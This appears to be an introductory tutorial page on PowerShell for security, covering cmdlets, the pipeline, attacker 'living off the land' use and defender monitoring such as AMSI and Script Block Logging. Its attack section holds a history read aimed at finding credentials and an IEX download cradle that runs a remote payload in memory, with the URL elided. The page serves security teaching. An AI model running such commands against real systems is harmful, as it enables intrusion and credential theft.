unicornAll work
← All theoryWindows

PowerShell for security

The object shell that admins and attackers both live in — enumerate like the admins do.

In a nutshell PowerShell is the modern Windows shell — far more powerful than the old cmd. It can inspect and control almost everything on a Windows machine, which makes it the go-to for administrators and for attackers after they land ("living off the land"). Knowing the basics lets you enumerate a Windows target the way its own admins do.

Not just a prompt — an object shell

cmd — passes text

  • output is a printed page
  • you scrape it with your eyes
  • simple, limited

PowerShell — passes objects

  • output is structured data
  • filter and sort exact fields
  • can do nearly anything

Commands are cmdlets, named Verb-Noun — predictable and readable:

Get-Process           # list running processes
Get-Service           # list services
Get-ChildItem         # list files (like ls / dir)
Get-Content file.txt  # read a file (like cat / type)

Analogy — a spreadsheet vs. a printout. cmd hands you a printed page to read by eye. PowerShell hands you the spreadsheet behind it — sort, filter, pull exactly the column you want.

The pipeline — objects flowing through filters

Get-Service | Where-Object {$_.Status -eq "Running"}                 # only running services
Get-Process | Sort-Object CPU -Descending | Select-Object -First 5   # top 5 by CPU

$_ is "the current object flowing through" — the everyday power move.

Why attackers love it — living off the land

Already there, trusted, can do almost anything — so an attacker uses it instead of dragging in tools AV would flag:

whoami /priv                                          # privesc hunting
Get-LocalUser ; Get-NetIPAddress                      # enumerate host
Get-Content (Get-PSReadlineOption).HistorySavePath    # PowerShell history — creds?
IEX (New-Object Net.WebClient).DownloadString('...')  # run a payload in memory (no file)

Whole offensive toolkits (PowerView, PowerUp, the historic Empire) are PowerShell, precisely because it blends in.

The defender's watch Because it's so powerful, PowerShell is heavily monitored: Script Block Logging records what runs (so commands leave evidence), AMSI lets AV inspect scripts even in memory, and Constrained Language Mode limits it. Execution policy is a speed bump, not a security boundary — trivially bypassed, so never rely on it. For you it cuts both ways: it's how you enumerate Windows/AD, and understanding it is how a defender spots misuse. It is, simply, the language of Windows post-exploitation.
All theory